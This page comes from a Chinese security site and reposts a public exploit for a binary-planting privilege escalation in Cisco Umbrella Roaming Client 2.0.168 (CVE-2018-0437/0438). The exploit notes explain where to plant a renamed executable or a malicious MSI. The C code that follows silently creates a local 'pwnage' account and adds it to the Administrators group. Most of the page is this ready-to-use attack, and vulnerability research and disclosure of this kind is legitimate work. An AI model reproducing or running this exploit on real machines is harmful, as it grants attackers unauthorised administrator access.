首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation
来源:@criticalstart 作者:ParagonSec 发布时间:2018-09-07  
/*
# Exploit Title: Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation
# Date: 2018-04-06
# Exploit Author: paragonsec @ Critical Start
# Vendor Homepage: https://www.opendns.com/
# Version: Umbrella Roaming Client (2.0.168)
# Tested on: Windows 10 Professional
# CVE : CVE-2018-0437 & CVE-2018-0438
# Cisco Bug: CSCvj61300
# Advisory Links:
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-priv
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-file-read
# https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvj61300
 
OpenDNS Umbrella Roaming Client (2.0.168) Binary Planting Privilege Escalation Exploit
 
Details:
Compile the following code and rename it to either netsh.exe or cmd.exe
and place the file in the "C:\ProgramData\OpenDNS\ERC\" directory. Restart the machine!
 
Affected Binary paths:
C:\ProgramData\OpenDNS\ERC\cmd.exe
C:\ProgramData\OpenDNS\ERC\netsh.exe
 
More Details:
Create malicious MSI file named RoamingClient_WIN_2.0.168.msi and place in
"C:\ProgramData\OpenDNS\ERC\Upgrades\" and restart the machine.
 
Tools Used:
ìAdvanced Installer 14.8" - Used to create the MSI
 
Code:
*/
 
#include <stdlib.h>
#include <stdio.h>
 
int main()
{
    system("net user pwnage pwnage /add");
    system("net localgroup administrators pwnage /add");
    
    FILE * fp;
    int i;
    /* open the file for writing*/
    fp = fopen ("c:\\opendns_pwnage.txt","w");
 
    fprintf (fp, "OpenDNS has been Pwned... New user has been created as an admin!\nBrought to you by paragonsec @criticalstart");
 
    /* close the file*/
    fclose (fp);
    return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ghostscript Failed Restore Com
·Apache Roller 5.0.3 - XML Exte
·Microsoft people 10.1807.2131.
·DVD Photo Slideshow Profession
·FTPShell Server 6.80 - 'Add Ac
·iSmartViewPro 1.5 - 'SavePath
·FUJI XEROX DocuCentre-V 3065 P
·Apache Struts 2 Namespace Redi
·iSmartViewPro 1.5 - 'DDNS' Buf
·RPi Cam Control < 6.4.25 - 'pr
·Wikipedia 12.0 - Denial of Ser
·SocuSoft iPod Photo Slideshow
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved